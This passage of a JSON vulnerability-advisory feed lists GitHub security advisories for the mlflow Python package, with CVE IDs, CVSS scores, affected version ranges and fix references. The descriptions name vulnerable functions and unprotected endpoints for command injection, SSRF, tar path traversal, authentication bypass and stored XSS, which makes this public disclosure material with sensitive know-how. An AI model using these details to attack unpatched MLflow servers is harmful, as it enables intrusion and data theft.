3.10.0.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-05-19T12:31:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.6,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-2611","https://github.com/mlflow/mlflow/commit/8f9c8a53af90842944101eb8b7d60706822c81bc","https://huntr.com/bounties/8462addd-b464-4a84-b6a2-5529604e6e5a","https://access.redhat.com/security/cve/CVE-2026-2611","https://bugzilla.redhat.com/show_bug.cgi?id=2479797","https://github.com/advisories/GHSA-67c5-x5mf-rppq","https://github.com/mlflow/mlflow","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2026-418.yaml","https://pypi.org/project/mlflow"],"source_kind":"github","identifiers":["GHSA-67c5-x5mf-rppq","CVE-2026-2611"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-04T16:00:08.700Z","updated_at":"2026-10-10T09:04:34.992Z","epss_percentage":0.00414,"epss_percentile":0.33591,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02N2M1LXg1bWYtcnBwcc4ABXFJ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02N2M1LXg1bWYtcnBwcc4ABXFJ","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"= 3.9.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02N2M1LXg1bWYtcnBwcc4ABXFJ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mMm05LXdjZjQtY3d3eM4ABXCZ","url":"https://github.com/advisories/GHSA-f2m9-wcf4-cwwx","title":"MLFlow Creates a Temporary File With Insecure Permissions ","description":"In mlflow/mlflow versions prior to 3.11.0, the `get_or_create_nfs_tmp_dir()` function in `mlflow/utils/file_utils.py` creates temporary directories with world-writable permissions (0o777), and the `_create_model_downloading_tmp_dir()` function in `mlflow/pyfunc/__init__.py` creates directories with group-writable permissions (0o770). These insecure permissions allow local attackers to tamper with model artifacts, such as cloudpickle-serialized Python objects, and achieve arbitrary code execution when the tampered artifacts are deserialized via `cloudpickle.load()`. This vulnerability is particularly critical in environments with shared NFS mounts, such as Databricks, where NFS is enabled by default. The issue is a continuation of the vulnerability class addressed in CVE-2025-10279, which was only partially fixed.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-18T21:31:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.0,"cvss_vector":"CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-4137","https://github.com/mlflow/mlflow/commit/1dcbb0c2fbd1f446c328830e601ca13a28219b8a","https://huntr.com/bounties/648dc30b-76c7-4433-86b8-f43d926fd8d6","https://github.com/advisories/GHSA-4x5p-f36r-mxxr","https://github.com/mlflow/mlflow/commit/bd8854fb2b4b168a4384ebddc6c4a0b5d56aff01","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2026-2655.yaml","https://github.com/advisories/GHSA-f2m9-wcf4-cwwx"],"source_kind":"github","identifiers":["GHSA-f2m9-wcf4-cwwx","CVE-2026-4137"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-29T20:00:08.879Z","updated_at":"2026-10-10T09:01:51.251Z","epss_percentage":0.00162,"epss_percentile":0.04643,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mMm05LXdjZjQtY3d3eM4ABXCZ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mMm05LXdjZjQtY3d3eM4ABXCZ","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"3.11.0","vulnerable_version_range":"\u003e= 1.26.0, \u003c 3.11.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mMm05LXdjZjQtY3d3eM4ABXCZ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03NWNtLXgydzMtOG1nZs4ABW7L","url":"https://github.com/advisories/GHSA-75cm-x2w3-8mgf","title":"MLflow: unauthenticated access to certain FastAPI routes","description":"A vulnerability in mlflow/mlflow versions 3.9.0 and earlier allows unauthenticated access to certain FastAPI routes when the server is started with authentication enabled (`--app-name basic-auth`) and served via uvicorn (ASGI). The FastAPI permission middleware only enforces authentication on `/gateway/` routes, leaving other routes such as the Job API (`/ajax-api/3.0/jobs/*`) and the OpenTelemetry trace ingestion API (`/v1/traces`) unprotected. This allows unauthenticated remote attackers to submit jobs, read job results, cancel running jobs, and inject arbitrary trace data into experiments. The issue arises from an architectural mismatch between Flask and FastAPI authentication mechanisms, where the `_find_fastapi_validator()` function fails to handle non-`/gateway/` paths, resulting in a complete authentication bypass. This vulnerability is fixed in version 3.10.0.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-15T03:30:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-2652","https://github.com/mlflow/mlflow/commit/bb62e773263c14e9ba4d1a82fe72d0de2442c6aa","https://huntr.com/bounties/5aeff5f0-49c7-4180-b5cb-c9a046f16756","https://github.com/advisories/GHSA-75cm-x2w3-8mgf"],"source_kind":"github","identifiers":["GHSA-75cm-x2w3-8mgf","CVE-2026-2652"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-21T20:00:30.299Z","updated_at":"2026-10-10T09:04:49.029Z","epss_percentage":0.01409,"epss_percentile":0.71544,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NWNtLXgydzMtOG1nZs4ABW7L","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03NWNtLXgydzMtOG1nZs4ABW7L","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"3.11.0","vulnerable_version_range":"\u003c 3.11.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NWNtLXgydzMtOG1nZs4ABW7L/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00Mmg1LWg4cWgtdnY5ds4ABWmu","url":"https://github.com/advisories/GHSA-42h5-h8qh-vv9v","title":"MLflow allows an unauthenticated remote attacker to read arbitrary files from the server's filesystem","description":"A vulnerability in the `_create_model_version()` handler of `mlflow/server/handlers.py` in mlflow/mlflow versions 3.9.0 and earlier allows an unauthenticated remote attacker to read arbitrary files from the server's filesystem. The issue arises when a `CreateModelVersion` request includes the tag `mlflow.prompt.is_prompt`, which bypasses source path validation. This enables an attacker to store an arbitrary local filesystem path as the model version source. The `get_model_version_artifact_handler()` function later uses this source to serve files without verifying the model version's prompt status, leading to a complete confidentiality compromise. This issue is fixed in version 3.10.0.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-11T21:31:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-2614","https://github.com/mlflow/mlflow/commit/6e801f4259d96804c73107315b24cef0f6aa115a","https://huntr.com/bounties/19380271-3fbf-4beb-987e-6fd7069c55e6","https://github.com/advisories/GHSA-42h5-h8qh-vv9v"],"source_kind":"github","identifiers":["GHSA-42h5-h8qh-vv9v","CVE-2026-2614"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-18T17:00:16.637Z","updated_at":"2026-10-10T09:04:58.063Z","epss_percentage":0.03206,"epss_percentile":0.87633,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00Mmg1LWg4cWgtdnY5ds4ABWmu","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00Mmg1LWg4cWgtdnY5ds4ABWmu","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c 3.10.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00Mmg1LWg4cWgtdnY5ds4ABWmu/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02NWg3LWM3YzQtbWdoeM4ABWlZ","url":"https://github.com/advisories/GHSA-65h7-c7c4-mghx","title":"MLflow Has a Server-Side Request Forgery (SSRF) Vulnerability","description":"A Server-Side Request Forgery (SSRF) vulnerability exists in MLflow versions prior to 3.9.0. The `_create_webhook()` function in `mlflow/server/handlers.py` accepts a user-controlled `url` parameter without validation, and the `_send_webhook_request()` function in `mlflow/webhooks/delivery.py` sends HTTP POST requests to this attacker-controlled URL. This allows an authenticated attacker to force the MLflow backend to send HTTP requests to internal services, cloud metadata endpoints, or arbitrary external servers. The lack of input sanitization, URL scheme filtering, or allowlist validation on the webhook URL enables exploitation, potentially leading to cloud credential theft, internal network access, and data exfiltration.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-11T18:31:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-2393","https://github.com/mlflow/mlflow/commit/64aa0ab7207f9c649b59ba1a5f40d82196817389","https://huntr.com/bounties/04ef100d-06b5-4a70-95b1-b7be23aa8150","https://github.com/advisories/GHSA-65h7-c7c4-mghx"],"source_kind":"github","identifiers":["GHSA-65h7-c7c4-mghx","CVE-2026-2393"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-18T16:00:16.700Z","updated_at":"2026-10-10T09:04:58.086Z","epss_percentage":0.00288,"epss_percentile":0.19502,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NWg3LWM3YzQtbWdoeM4ABWlZ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02NWg3LWM3YzQtbWdoeM4ABWlZ","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"3.9.0","vulnerable_version_range":"\u003c 3.9.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NWg3LWM3YzQtbWdoeM4ABWlZ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1maDY0LXIydmMteHZocs4ABU0e","url":"https://github.com/advisories/GHSA-fh64-r2vc-xvhr","title":"MLflow is vulnerable to Stored Cross-Site Scripting (XSS) caused by unsafe parsing of YAML-based MLmodel artifacts in its web interface","description":"MLflow is vulnerable to Stored Cross-Site Scripting (XSS) caused by unsafe parsing of YAML-based MLmodel artifacts in its web interface. An authenticated attacker can upload a malicious MLmodel file containing a payload that executes when another user views the artifact in the UI. This allows actions such as session hijacking or performing operations on behalf of the victim. \n\nThis issue affects MLflow version through 3.10.1","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-07T15:30:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-33865","https://github.com/mlflow/mlflow/pull/21435","https://cert.pl/en/posts/2026/04/CVE-2026-33865","https://github.com/mlflow/mlflow/commit/aca4dd0ec88a12f7655155c224371280e9b45dda","https://afine.com/blogs/attacking-mlflow-how-ml-artifacts-become-attack-vectors","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2026-93.yaml","https://github.com/advisories/GHSA-fh64-r2vc-xvhr"],"source_kind":"github","identifiers":["GHSA-fh64-r2vc-xvhr","CVE-2026-33865"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-08T16:00:10.115Z","updated_at":"2026-10-10T09:06:13.317Z","epss_percentage":0.003,"epss_percentile":0.2051,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1maDY0LXIydmMteHZocs4ABU0e","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1maDY0LXIydmMteHZocs4ABU0e","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"3.11.1","vulnerable_version_range":"\u003c= 3.10.1"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1maDY0LXIydmMteHZocs4ABU0e/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00NnI1LXg2anEtdjhnNs4ABU0h","url":"https://github.com/advisories/GHSA-46r5-x6jq-v8g6","title":"MLflow is vulnerable to an authorization bypass affecting the AJAX endpoint","description":"MLflow is vulnerable to an authorization bypass affecting the AJAX endpoint used to download saved model artifacts. Due to missing access‑control validation, a user without permissions to a given experiment can directly query this endpoint and retrieve model artifacts they are not authorized to access.\n\n \nThis issue affects MLflow version through 3.10.1","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-07T15:30:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-33866","https://github.com/mlflow/mlflow/pull/21708","https://cert.pl/en/posts/2026/04/CVE-2026-33865","https://github.com/mlflow/mlflow/commit/005b959cacda05d1423356cfcbd9ebeda8ff96a7","https://afine.com/blogs/attacking-mlflow-how-ml-artifacts-become-attack-vectors","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2026-94.yaml","https://github.com/advisories/GHSA-46r5-x6jq-v8g6"],"source_kind":"github","identifiers":["GHSA-46r5-x6jq-v8g6","CVE-2026-33866"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-08T01:00:11.369Z","updated_at":"2026-10-10T09:04:30.378Z","epss_percentage":0.00374,"epss_percentile":0.28513,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NnI1LXg2anEtdjhnNs4ABU0h","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00NnI1LXg2anEtdjhnNs4ABU0h","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"3.11.0rc0","vulnerable_version_range":"\u003c= 3.10.1"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NnI1LXg2anEtdjhnNs4ABU0h/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03cWhmLXY2NW0tZzVmM84ABUtB","url":"https://github.com/advisories/GHSA-7qhf-v65m-g5f3","title":"mlflow: FastAPI job endpoints under `/ajax-api/3.0/jobs/*` are not protected by authentication or authorization","description":"In mlflow/mlflow, the FastAPI job endpoints under `/ajax-api/3.0/jobs/*` are not protected by authentication or authorization when the `basic-auth` app is enabled. This vulnerability affects the latest version of the repository. If job execution is enabled (`MLFLOW_SERVER_ENABLE_JOB_EXECUTION=true`) and any job function is allowlisted, any network client can submit, read, search, and cancel jobs without credentials, bypassing basic-auth entirely. This can lead to unauthenticated remote code execution if allowed jobs perform privileged actions such as shell execution or filesystem changes. Even if jobs are deemed safe, this still constitutes an authentication bypass, potentially resulting in job spam, denial of service (DoS), or data exposure in job results.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-04-03T18:31:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-0545","https://huntr.com/bounties/b2e5b028-9541-4d29-8703-a76f1a3734d8","https://github.com/advisories/GHSA-7qhf-v65m-g5f3"],"source_kind":"github","identifiers":["GHSA-7qhf-v65m-g5f3","CVE-2026-0545"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-07T00:00:12.978Z","updated_at":"2026-10-10T09:06:18.400Z","epss_percentage":0.04392,"epss_percentile":0.90528,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cWhmLXY2NW0tZzVmM84ABUtB","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03cWhmLXY2NW0tZzVmM84ABUtB","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.1"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cWhmLXY2NW0tZzVmM84ABUtB/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ydmhqLThjaGotOHYzY84ABUf4","url":"https://github.com/advisories/GHSA-rvhj-8chj-8v3c","title":"Mlflow: Command Injection when serving models with enable_mlserver=True","description":"A command injection vulnerability exists in Mlflow when serving a model with `enable_mlserver=True`. The `model_uri` is embedded directly into a shell command executed via `bash -c` without proper sanitization. If the `model_uri` contains shell metacharacters, such as `$()` or backticks, it allows for command substitution and execution of attacker-controlled commands. This vulnerability affects the latest version of mlflow/mlflow and can lead to privilege escalation if a higher-privileged service serves models from a directory writable by lower-privileged users.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-03-31T15:31:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.6,"cvss_vector":"CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-0596","https://huntr.com/bounties/2e905add-f9f5-4309-a3db-b17de5981285","https://github.com/mlflow/mlflow/pull/19738","https://github.com/mlflow/mlflow/commit/202fac4c83ccc8544c087c142b80196d0e60695c","https://github.com/advisories/GHSA-rvhj-8chj-8v3c"],"source_kind":"github","identifiers":["GHSA-rvhj-8chj-8v3c","CVE-2026-0596"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-04T06:00:10.559Z","updated_at":"2026-10-10T09:04:49.079Z","epss_percentage":0.01328,"epss_percentile":0.69772,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ydmhqLThjaGotOHYzY84ABUf4","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ydmhqLThjaGotOHYzY84ABUf4","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"3.9.0","vulnerable_version_range":"\u003c 3.9.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ydmhqLThjaGotOHYzY84ABUf4/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yMjNxLTgyM3Atdm1mN84ABUcb","url":"https://github.com/advisories/GHSA-r23q-823p-vmf7","title":"MLflow Command Injection vulnerability","description":"A command injection vulnerability exists in MLflow's model serving container initialization code, specifically in the `_install_model_dependencies_to_env()` function. When deploying a model with `env_manager=LOCAL`, MLflow reads dependency specifications from the model artifact's `python_env.yaml` file and directly interpolates them into a shell command without sanitization. This allows an attacker to supply a malicious model artifact and achieve arbitrary command execution on systems that deploy the model. The vulnerability affects versions 3.8.0 and is fixed in version 3.8.1.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-03-30T09:31:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-15379","https://github.com/mlflow/mlflow/commit/361b6f620adf98385c6721e384fb5ef9a30bb05e","https://huntr.com/bounties/dc9c1c20-7879-4050-87df-4d095fe5ca75","https://github.com/mlflow/mlflow/commit/a22ce7157f646bdce4c95106fc38ccc9ca289205","https://github.com/advisories/GHSA-r23q-823p-vmf7"],"source_kind":"github","identifiers":["GHSA-r23q-823p-vmf7","CVE-2025-15379"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-01T01:00:11.361Z","updated_at":"2026-10-10T09:06:31.299Z","epss_percentage":0.02359,"epss_percentile":0.83025,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yMjNxLTgyM3Atdm1mN84ABUcb","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yMjNxLTgyM3Atdm1mN84ABUcb","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"3.8.1","vulnerable_version_range":"\u003c 3.8.1"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yMjNxLTgyM3Atdm1mN84ABUcb/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12aGN4LTNwcTItNGZ2Y84ABUcW","url":"https://github.com/advisories/GHSA-vhcx-3pq2-4fvc","title":"MLFlow path traversal vulnerability","description":"A path traversal vulnerability exists in the `extract_archive_to_dir` function within the `mlflow/pyfunc/dbconnect_artifact_cache.py` file of the mlflow/mlflow repository. This vulnerability, present in versions before v3.7.0, arises due to the lack of validation of tar member paths during extraction. An attacker with control over the tar.gz file can exploit this issue to overwrite arbitrary files or gain elevated privileges, potentially escaping the sandbox directory in multi-tenant or shared cluster environments.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-03-30T03:30:19.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.6,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-15036","https://github.com/mlflow/mlflow/commit/3bf6d81ac4d38654c8ff012dbd0c3e9f17e7e346","https://huntr.com/bounties/36c314cf-fd6e-4fb0-b9b0-1b47bcdf0eb0","https://github.com/advisories/GHSA-vhcx-3pq2-4fvc"],"source_kind":"github","identifiers":["GHSA-vhcx-3pq2-4fvc","CVE-2025-15036"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-01T01:00:11.361Z","updated_at":"2026-10-10T09:06:31.323Z","epss_percentage":0.00579,"epss_percentile":0.45581,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12aGN4LTNwcTItNGZ2Y84ABUcW","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12aGN4LTNwcTItNGZ2Y84ABUcW","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"3.9.0rc0","vulnerable_version_range":"\u003c 3.9.0rc0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12aGN4LTNwcTItNGZ2Y84ABUcW/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nNnBnLTUydmYtODQzaM4ABUYz","url":"https://github.com/advisories/GHSA-g6pg-52vf-843h","title":"MLFlow allows Tracing + Assessments Access","description":"In the latest version of mlflow/mlflow, when the `basic-auth` app is enabled, tracing and assessment endpoints are not protected by permission validators. This allows any authenticated user, including those with `NO_PERMISSIONS` on the experiment, to read trace information and create assessments for traces they should not have access to. This vulnerability impacts confidentiality by exposing trace metadata and integrity by allowing unauthorized creation of assessments. Deployments using `mlflow server --app-name=basic-auth` are affected.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-27T18:31:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-15381","https://huntr.com/bounties/149fb2f9-ef4b-4136-a25c-20563451904c","https://github.com/mlflow/mlflow/blob/b569ebc74c14af593c326143bee2df44a5d59edf/mlflow/server/auth/__init__.py#L752","https://github.com/advisories/GHSA-g6pg-52vf-843h"],"source_kind":"github","identifiers":["GHSA-g6pg-52vf-843h","CVE-2025-15381"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-01T00:00:09.802Z","updated_at":"2026-10-10T09:06:31.391Z","epss_percentage":0.00331,"epss_percentile":0.23512,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNnBnLTUydmYtODQzaM4ABUYz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nNnBnLTUydmYtODQzaM4ABUYz","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.8.1"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNnBnLTUydmYtODQzaM4ABUYz/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1maGZmLXFtbTgtaDJmcM4ABT1g","url":"https://github.com/advisories/GHSA-fhff-qmm8-h2fp","title":"Arbitrary file write via tar traversal in mlflow","description":"A vulnerability in MLflow's pyfunc extraction process allows for arbitrary file writes due to improper handling of tar archive entries. Specifically, the use of `tarfile.extractall` without path validation enables crafted tar.gz files containing `..` or absolute paths to escape the intended extraction directory. This issue affects the latest version of MLflow and poses a high/critical risk in scenarios involving multi-tenant environments or ingestion of untrusted artifacts, as it can lead to arbitrary file overwrites and potential remote code execution.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-19T00:30:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-15031","https://huntr.com/bounties/09856f77-f968-446f-a930-657d126efe4e","https://github.com/mlflow/mlflow/commit/3bf6d81ac4d38654c8ff012dbd0c3e9f17e7e346","https://github.com/mlflow/mlflow/blob/fe4d9be330426904283401f1d2ed914238b6fc37/mlflow/pyfunc/dbconnect_artifact_cache.py#L140","https://github.com/advisories/GHSA-fhff-qmm8-h2fp"],"source_kind":"github","identifiers":["GHSA-fhff-qmm8-h2fp","CVE-2025-15031"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-19T18:00:09.434Z","updated_at":"2026-10-10T09:06:54.258Z","epss_percentage":0.00852,"epss_percentile":0.56551,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1maGZmLXFtbTgtaDJmcM4ABT1g","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1maGZmLXFtbTgtaDJmcM4ABT1g","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"3.9.0rc0","vulnerable_version_range":"\u003c 3.9.0rc0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1maGZmLXFtbTgtaDJmcM4ABT1g/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14Y2gzLTJmOXgtd2g5Zs4ABTqk","url":"https://github.com/advisories/GHSA-xch3-2f9x-wh9f","title":"MLflow has a command injection in mlflow/sagemaker/__init__.py","description":"A command injection vulnerability exists in mlflow/mlflow versions before v3.7.0, specifically in the `mlflow/sagemaker/__init__.py` file at lines 161-167. The vulnerability arises from the direct interpolation of user-supplied container image names into shell commands without proper sanitization, which are then executed using `os.system()`. This allows attackers to execute arbitrary commands by supplying malicious input through the `--container` parameter of the CLI. The issue affects environments where MLflow is used, including development setups, CI/CD pipelines, and cloud deployments.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-16T15:30:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-14287","https://huntr.com/bounties/229cd526-41aa-4819-b6f0-e2d0371c89e3","https://github.com/mlflow/mlflow/pull/19277","https://github.com/mlflow/mlflow/commit/8b8792a7034fb33a14b0b31cabcaa9b912d3485f","https://github.com/mlflow/mlflow/releases/tag/v3.8.0rc0","https://github.com/advisories/GHSA-xch3-2f9x-wh9f"],"source_kind":"github","identifiers":["GHSA-xch3-2f9x-wh9f","CVE-2025-14287"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-17T20:00:11.275Z","updated_at":"2026-10-10T09:06:57.677Z","epss_percentage":0.01456,"epss_percentile":0.72507,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Y2gzLTJmOXgtd2g5Zs4ABTqk","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14Y2gzLTJmOXgtd2g5Zs4ABTqk","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"3.8.0rc0","vulnerable_version_range":"\u003c 